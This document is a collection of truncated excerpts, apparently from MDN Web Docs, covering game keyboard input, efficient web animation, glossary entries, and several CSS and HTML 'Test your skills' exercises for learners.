...e checked and the playerX and playerY variables (that we define earlier just after leftPressed and the others) holding the position of the ship are adjusted by a given amount, let's say 5 pixels. Then the player's ship is drawn on the screen and the next draw is called from within the requestAnimationFrame. We could write our own KeyCode object containing the key codes, for example: var KeyboardHelper = { left: 37, up: 38, right: 39, down: 40 }; That way instead of using the codes to compare the input in the handler functions we could do something like this, which is arguably easier to remember: if(event.keyCode == KeyboardHelper.left) { leftPressed = true; } Note: You can also find a list if the different keycodes and what keys they relate to in the keyCode reference page. You c...
...this.game.input.mousePointer.rightButton.isDown; Keep in mind that instead of mousePointer, it's better to use activePointer for platform independent input if you want to keep the support for mobile touch interactions. Keyboard The whole game can be controlled with just the keyboard and nothing else. The built in this.game.input.keyboard object manages the input from the keyboard and has a few helpful methods like addKey() and isDown(). There's also the Phaser.KeyCode object, which contains all the available keyboard keys: In the main menu of the game we can add an extra way to begin playing. The Start button can be clicked to do so, but we can use the Enter key to do the same: var keyEnter = this.game.input.keyboard.addKey(Phaser.KeyCode.ENTER); var keyEnter.onDown.add(this.clickStart,...
Efficient animation for web games - Game development
There are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices. It is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used UI libraries, for example) that they aren't necessarily common knowledge. First off, let us discuss some basic ideas. Help the browser help you If you are using DOM for your UI, which I would certainly recommend, you really ought to use CSS transitions and/or CSS animations, rather than JavaScript-powered animations. Though JavaScript animations can be easier to express at times, unless you have a great need to synchronise UI animation state with game animation state, you're unlikely to be able to do a better job th...
...e. Unfortunately, this makes it very easy to end up drawing things multiple times per frame. We would recommend keeping track of when requestAnimationFrame has been called and only having a single handler for it. There aren't solid guarantees of what order things will be called in with requestAnimationFrame (though, in our experience, it is in the order in which they were requested), so this also helps cut out any ambiguity. An easy way to do this is to declare your own refresh function that sets a flag when it calls requestAnimationFrame. When the callback is executed, you can unset that flag so that calls to that function will request a new frame again, like this: function redraw() { drawPending = false; // Do drawing ... } var drawPending = false; function requestRedraw() { if (!dra...
... turned out, the code from some of the things mentioned above; the animation code had some corner cases where redraws were happening several times per frame, and some of the animations caused Firefox to need to redraw everything (they were fine in other browsers, as it happens -- that particular issue is now fixed). Some of the third party code we were using was poorly optimised. A take-away To help combat poor animation performance, Chris Lord wrote Animator.js, a simple, easy-to-use animation library, heavily influenced by various parts of Clutter, but with a focus on avoiding scope-creep. It does one thing, and it does it well. Animator.js is a fire-and-forget style animation library, designed to be used with games, or other situations where you need many, synchronised, custom animations.
...nimation library, heavily influenced by various parts of Clutter, but with a focus on avoiding scope-creep. It does one thing, and it does it well. Animator.js is a fire-and-forget style animation library, designed to be used with games, or other situations where you need many, synchronised, custom animations. It includes a handful of built-in tweening functions, the facility to add your own, and helper functions for animating object properties. Puzzowl uses it to drive all the drawing updates and transitions, by overriding its requestAnimationFrame function with a custom version that makes the request, and appending the game's drawing function onto the end of the callback like so: animator.requestAnimationFrame = function(callback) { requestAnimationFrame(function(t) { callback(t...
Index - MDN Web Docs Glossary: Definitions of Web-related terms
ications with JavaScript. 291 Normative Glossary, Infrastructure, Specification, Standardization Normative is a word commonly used in software specifications to denote sections that are standardized and must be followed as a rule. Specifications might also contain sections that are marked as non-normative or informative, which means those are provided there for the purpose of helping the reader understand the specifications better or to showcase an example or best practice, which need not be followed as a rule. 292 Null CodingScripting, Glossary In computer science, a null value represents a reference that points, generally intentionally, to a nonexistent or invalid object or address. The meaning of a null reference varies among language implementation...
...e, Web Performance Real User Monitoring or RUM measures the performance of a page from real users' machines. Generally, a third party script injects a script on each page to measure and report page load data for every request made. This technique monitors an application's actual user interactions. In RUM, the third party script collects performance metrics from the real users' browsers. RUM helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience. 365 Recursion CodingScripting, Glossary The act of a function calling itself, recursion is used to solve problems that contain smaller sub-problems. A recursive function can receive two inputs: a base case (ends recursion) ...
...ndshake Glossary, Networking, SSL, Security, TCP, TCP handshake, TLS, Web Performance TCP uses a three-way handshake (aka TCP-handshake, three message handshake, and/or SYN-SYN-ACK) to set up a TCP/IP connection over an IP based network. 448 TCP slow start Glossary, Infrastructure, Networking, TCP, Transmission Control Protocol, Web Performance, data TCP slow start helps buildup transmission speeds to the network's capabilities. It does this without initially knowing what those capabilities are and without creating congestion. TCP slow start is an algorithm used to detect the available bandwidth for packet transmission, and balances the speed of a network connection. It prevents the appearance of network congestion whose capabilities are initially unknown, and s...
... Performance Minification is the process of removing unnecessary or redundant data without affecting how a resource is processed by the browser. 526 non-normative Glossary, Infrastructure, Specification, Standardization Software specifications often contains information marked as non-normative or informative, which means that those are provided there for the purpose of helping the readers to understand the specification better or to show an example or a best practice, and not needed to be followed as a rule. Sections that contain official part of the specification that must be followed are often marked as normative. 527 privileged code privileged Privileged code - Javascript code of your extension. For example, code in content scripts. 52...
Test your skills: backgrounds and borders - Learn web development
This aim of this skill test is to get you working with CSS backgrounds and borders using the skills you have learned in the previous lesson. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Backgrounds and Borders 1 In this task we want you to add a background, border, and some simple styling to a page header: Give the box a 5px black solid border, with rounded corners of 10px. Add a background image (use the URL balloons.jpg) and size it so that it covers the box. Give the <h2> a semi-transparent black background colo...
...at the heading text does not overlay the image, and that it is centered -- you will need to use techniques learned in previous lessons to achieve this. The finished example should look like the image below: Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...e this. The finished example should look like the image below: Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum. Add the "learning" tag to your post so we are able to more easily find it. Your post should include: A descriptive title such as "A...
...in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum. Add the "learning" tag to your post so we are able to more easily find it. Your post should include: A descriptive title such as "Assessment wanted for Flexbox layout 1 skill test". Details of what you would like us to do -- for example what you have already tried, if you are stuck and need help,. A link to the example you want assessed or need help with, in an online editor. This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
CSS building blocks - Learn web development
teps left off -- now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper. This module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more. The aim here is to provide you with a toolkit for writing competent CSS and help you understand all the essential theory, before moving on to more specific disciplines like text styling and CSS layout. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have: Basic familiarity with using computers, ...
...ing questions in CSS. Handling different text directions In recent years, CSS has evolved in order to better support different directionality of content, including right-to-left but also top-to-bottom content (such as Japanese) -- these different directionalities are called writing modes. As you progress in your study and begin to work with layout, an understanding of writing modes will be very helpful to you, therefore we will introduce them in this article. Overflowing content In this lesson we will look at another important concept in CSS -- overflow. Overflow is what happens when there is too much content to be contained comfortably inside a box. In this guide, you will learn what it is and how to manage it. CSS values and units Every property used in CSS has a value or set of values...
...a look at some of the most common values and units in use. Sizing items in CSS In the various lessons so far you have come across a number of ways to size items on a web page using CSS. Understanding how big the different features in your design will be is important, and in this lesson, we will summarize the various ways elements get a size via CSS and define a few terms around sizing that will help you in the future. Images, media, and form elements In this lesson we will take a look at how certain special elements are treated in CSS. Images, other media, and form elements behave a little differently in terms of your ability to style them with CSS than regular boxes. Understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things ...
...o it. This article provides a guide to making HTML tables look good, with some specific table styling techniques highlighted. Debugging CSS Sometimes when writing CSS you will encounter an issue where your CSS doesn't seem to be doing what you expect. This article will give you guidance on how to go about debugging a CSS problem, and show you how the DevTools included in all modern browsers can help you find out what is going on. Organizing your CSS As you start to work on larger stylesheets and big projects you will discover that maintaining a huge CSS file can be challenging. In this article, we will take a brief look at some best practices for writing your CSS to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability. Asse...
Test your skills: Flexbox - Learn web development
The aim of this task is to get you working with Flexbox and demonstrate your understanding of how flex items behave. Below are four common design patterns which you might use Flexbox to create, your task is to build them. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Flex Layout One These list items are the navigation for a site. They should be laid out as a row, with an equal amount of space between each item. The finished example should look like the image below. Try updating the live code below to recreate the finished ...
...e starting point for this task to work in your own editor or in an online editor. Flex Layout Four In this final task arrange these items into rows as in the image. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. ...
...in the image. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors mentioned above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Flexbox layout 1 skill test". Det...
... the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Flexbox layout 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: floats - Learn web development
The aim of this task is to get you working with the CSS float and clear properties covered in our lesson on Floats. You will be working through three small tasks which use different elements of the material you have just covered. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Floats One In this task you need to float the two elements with a class of float1 and float2 left and right respectively. The text should then appear between the two boxes as in the image below. Try updating the live code below to recreate the finished...
...g the float and text is displaying behind the float. Use the most up to date method available to cause the box background to extend to below the float as in the image. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. ...
...in the image. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors mentioned above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Float skill test". Details of wha...
...u can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Float skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test Your Skills: Fundamental layout comprehension - Learn web development
If you have worked through this module then you will have already covered the basics of what you need to know to do CSS layout today, and to work with older CSS as well. This task will test some of your knowledge by way of developing a simple webpage layout using a variety of techniques. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project Brief You have been provided with some raw HTML, basic CSS, and images -- now you need to create a layout for the design, which should look just like the image below. Basic Setup You can...
... You will not need to edit the HTML in order to achieve this layout and the techniques you should use are: Positioning Float Flexbox CSS Grid Layout There are a few ways in which you could achieve some of these tasks, and there often isn't a single right or wrong way to do things. Try a few different approaches and see which works best. Make notes as you experiment. ...
... There are a few ways in which you could achieve some of these tasks, and there often isn't a single right or wrong way to do things. Try a few different approaches and see which works best. Make notes as you experiment. Assessment or further help You can practice these examples in the Interactive Editors mentioned above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Fundamental Layout Comprehension". ...
...code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Fundamental Layout Comprehension". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. In this module Introduc...
Test your skills: Grid Layout - Learn web development
This aim of this task is to get you working with CSS Grid Layout, and test that you understand how a grid and grid items behave. You will be working through three small tasks which use different elements of the material you have just covered. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Grid Layout One In this task you should create a grid into which the four child elements will auto-place. The grid should have three columns sharing the available space equally, and a 20-pixel gap between the column and row tracks. Try upd...
...d Flex Layout 4 You will need to use both Grid Layout and Flexbox to recreate the example as seen in the image. You do not need to make any changes to the HTML in order to do this. Try updating the code below to create your example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. ...
...o the HTML in order to do this. Try updating the code below to create your example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors mentioned above. If you'd like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Grid layout 1 skill test". Detail...
...ite the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Grid layout 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Multicol - Learn web development
The aim of this task is to get you working with the CSS column-count, column-width, column-gap, column-span and column-rule properties and values covered in our lesson on Multiple-column Layout. You will be working through three small tasks which use different elements of the material you have just covered. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Multicol One In this task you need to create three columns, with a 50px gap between each column. Try updating the live code below to recreate the finished example: For ...
...our own editor or in an online editor. Multicol Three Cause the element containing the heading and subheading to span across all columns so it looks like the image. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. ...
...ke the image. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors mentioned above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Multicol skill test 1". Details o...
... write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Multicol skill test 1". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: position - Learn web development
The aim of this task is to get you working with the CSS position property and values covered in our lesson on Position. You will be working through two small tasks which use different elements of the material you have just covered. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Positioning One In this task you need to position the item with a class of target to the top and right of the container, which has the 5px grey border. Try updating the live code below to recreate the finished example: As an extra challenge, can y...
...sition Two In the below example if you scroll the box the sidebar scrolls with the content. Change it so that the sidebar stays in place and only the content scrolls. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. ...
...tent scrolls. Try updating the live code below to recreate the finished example: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors mentioned above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Position skill test 1". Details o...
... write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Position skill test 1". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Media Queries and Responsive Design - Learn web development
need to know to complete this task was covered in the guide to Media Queries, and the other layout lessons in this section. Note: Due to the need to test your design in multiple screen sizes we do not have an interactive editor for this task. Download the code and work locally, or use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Your task Download the starting point. Open this in your browser and you will find a wireframed site which will load in a mobile device in a readable manner. You can drag your window smaller or use the responsive design view in Firefox DevTools to view this as if on a phone. Your task is to create a desktop version of t...
... a desktop version of this layout which displays when there is enough screen width to accomodate it. You can see the layout you are aiming for in the screenshot below. There are a number of ways that you could create the desktop layout, enjoy experimenting. You could also add a second breakpoint perhaps creating a layout that would work well on a tablet in portrait mode. ...
...enshot below. There are a number of ways that you could create the desktop layout, enjoy experimenting. You could also add a second breakpoint perhaps creating a layout that would work well on a tablet in portrait mode. Assessment or further help You can practice these examples in the Interactive Editors mentioned above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Responsive Web Design assessment". ...
...code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Responsive Web Design assessment". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
What is the difference between webpage, website, web server, and search engine? - Learn web development
browser such as Firefox, Google Chrome, Opera, Microsoft Internet Explorer or Edge, or Apple's Safari. These are also often called just "pages." website A collection of web pages which are grouped together and usually connected together in various ways. Often called a "web site" or simply a "site." web server A computer that hosts a website on the Internet. search engine A web service that helps you find other web pages, such as Google, Bing, Yahoo, or DuckDuckGo. Search engines are normally accessed through a web browser (e.g. you can perform search engine searches directly in the address bar of Firefox, Chrome, etc.) or through a web page (e.g. bing.com or duckduckgo.com). Let's look at a simple analogy -- a public library. This is what you would generally do when visiting a library...
...web server can host multiple websites, the term web server is never used to designate a website, as it could cause great confusion. In our previous example, if we said, "My web server is not responding", it means that multiple websites on that web server are not available. Search engine Search engines are a common source of confusion on the web. A search engine is a special kind of website that helps users find web pages from other websites. There are plenty out there: Google, Bing, Yandex, DuckDuckGo, and many more. Some are generic, some are specialized about certain topics. Use whichever you prefer. Many beginners on the web confuse search engines and browsers. Let's make it clear: A browser is a piece of software that retrieves and displays web pages; a search engine is a website that ...
...s users find web pages from other websites. There are plenty out there: Google, Bing, Yandex, DuckDuckGo, and many more. Some are generic, some are specialized about certain topics. Use whichever you prefer. Many beginners on the web confuse search engines and browsers. Let's make it clear: A browser is a piece of software that retrieves and displays web pages; a search engine is a website that helps people find web pages from other websites. The confusion arises because, the first time someone launches a browser, the browser displays a search engine's homepage. This makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. Don't confuse the infrastructure (e.g., the browser) with the service (e.g., the search engine). The distinction wi...
...eople find web pages from other websites. The confusion arises because, the first time someone launches a browser, the browser displays a search engine's homepage. This makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. Don't confuse the infrastructure (e.g., the browser) with the service (e.g., the search engine). The distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it. Here is an instance of Firefox showing a Google search box as its default startup page: Next steps Dig deeper: What is a web server See how web pages are linked into a web site: Understanding links on the web ...
HTML forms in legacy browsers - Learn web development
legacy browser" we all have in mind Safari or old versions of Internet Explorer, but they are far from the only ones. In the mobile world, when neither the browser nor the OS can be updated such as on older Android phones or iPhones, the stock browsers that don't update are also legacy browsers. Dealing with this wilderness is part of the job. Fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. And HTML5 <input> types don't fail when not supported: they fall back to type=text. Learn about the issues To understand common patterns, it helps to read browser documentation. If you are reading this on MDN, you are at the right place to start. Just check the support of the elements (or DOM interface) you want to use. MDN has compat...
.... Learn about the issues To understand common patterns, it helps to read browser documentation. If you are reading this on MDN, you are at the right place to start. Just check the support of the elements (or DOM interface) you want to use. MDN has compatibility tables available for most elements, properties and APIs that can be used in a web page. There are other resources that can be amazingly helpful: Browser vendor documentation Mozilla: You're in the right place, just browse MDN Microsoft: Internet Explorer Standards Support Documentation WebKit: Because there are several different editions of this engine, things are a little trickier. The WebKit blog and Planet WebKit aggregate the best articles by WebKit core developers. Chrome platform status site is also important. ...
...pattern that defines two requirements: A strict separation between structure and behaviors. If the code breaks, the content and the basic functionalities must remain accessible and usable. The principles of unobtrusive JavaScript (originally written by Peter-Paul Koch for Dev.Opera.com) describes these ideas very well. The Modernizr library There are many cases where a good "polyfill" can help a lot by providing a missing API. A polyfill is a bit of JavaScript that "fills in the holes" in the functionality of legacy browsers. While they can be used to improve support for any functionality, using them for JavaScript is less risky than for CSS or HTML; there many cases where JavaScript can break (network issues, script conflicts, etc.). But for JavaScript, if you work with unobstructive ...
...lidation-API-polyfill.js, // In any case, your core App file that depends on that API is loaded both : app.js, // Once both files are loaded, this function is called in order to initialize the App. complete : function () { app.init(); } }); The Modernizr team conveniently maintains a list of great polyfills. Just pick what you need. Note: Modernizr has other awesome features to help you in dealing with unobstructive JavaScript and graceful degradation techniques. Please read the Modernizr documentation. Pay attention to performance Even though scripts like Modernizr are very aware of performance, loading a 200 kilobyte polyfill can affect the performance of your application. This is especially critical with legacy browsers; many of them have a very slow JavaScript engine ...
Test your skills: Form structure - Learn web development
This aim of this skill test is to assess whether you've understood our How to structure a web form article. Note: You can try out the solution in the interactive editor below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Form structure 1 In this task we want you to structure the provided form features: Separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "Personal details" for the first two, and "Comment information" for the second two). Mark up each text label with an appropriate element so that it is semantically associ...
...he first two, and "Comment information" for the second two). Mark up each text label with an appropriate element so that it is semantically associated with its respective form field. Add a suitable set of structural elements around the label/field pairs to separate them out. Download the starting point for this task to work in your own editor or in an online editor. ...
...associated with its respective form field. Add a suitable set of structural elements around the label/field pairs to separate them out. Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice this example in the Interactive Editor above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Form structure 1 skill test". Det...
... the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Form structure 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Front-end web developer - Learn web development
sites You don't need any previous knowledge to start this course. All you need is a computer that can run modern web browsers, an internet connection, and a willingness to learn. If you are not sure if front-end web development is for you, and/or you want a gentle introduction before starting a longer and more complete course, work through our Getting started with the web module first. ...
...If you are still stuck, feel free to post a question on our Discourse forum. Let's get started. ...
...If you are still stuck, feel free to post a question on our Discourse forum. Let's get started. Good luck! The learning pathway Getting started Time to complete: 1.5-2 hours Prerequisites Nothing except basic computer literacy. How will I know I'm ready to move on? There are no assessments in this part of the course. But make sure you don't skip. ...
...ing except basic computer literacy. How will I know I'm ready to move on? There are no assessments in this part of the course. But make sure you don't skip. It is important to get you set up and ready to do work for exercises later on in the course. Guides Installing basic software -- basic tool setup (15 min read) Background on the web and web standards (45 min read) Learning and getting help (45 min read) Semantics and structure with HTML Time to complete: 35-50 hours Prerequisites Nothing except basic computer literacy, and a basic web development environment. How will I know I'm ready to move on? The assessments in each module are designed to test your knowledge of the subject matter. Completing the assessments confirms that you are ready to move on to the next module. Mod...
Structuring a page of content - Learn web development
tarted, you should go and grab the zip file containing all the starting assets. The zip file contains: The HTML you need to add structural markup to. CSS to style your markup. Images that are used on the page. Create the example on your local computer, or alternatively use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief For this project, your task is to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it. It needs to have: A header spanning the full width of the site containing the main title for the page, the site logo, and the naviga...
...eed to put the provided CSS inside an HTML element. The provided CSS is designed so that when the correct structural elements are added to the markup, they will appear green in the rendered page. If you are getting stuck and can't envisage what elements to put where, draw out a simple block diagram of the page layout, and write on the elements you think should wrap each block. ...
...kup, they will appear green in the rendered page. If you are getting stuck and can't envisage what elements to put where, draw out a simple block diagram of the page layout, and write on the elements you think should wrap each block. This is extremely helpful. Example The following screenshot shows an example of what the homepage might look like after being marked up. Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Structuring a page of content". Details of what you ha...
...ut your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Structuring a page of content". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: In...
Test your skills: Links - Learn web development
The aim of this skill test is to assess whether you've understood our Creating hyperlinks article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Links 1 In this task we want you to help fill in the links on our Whales information page: The first link should be linked to a page called whales.html, which is in the same directory as the current page. We'd also like you to give it a tooltip when moused over that tells the user that the page includes information on Blue Whales and Sperm Whales. The second link should be turned ...
... them, they open the linked page in a new tab. This is not strictly best practice, but we've done it here so that the pages don't open in the embedded <iframe>, getting rid of your example code in the process! Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...bedded <iframe>, getting rid of your example code in the process! Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Links 1 skill test". Details of w...
...can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Links 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Multimedia and embedding - Learn web development
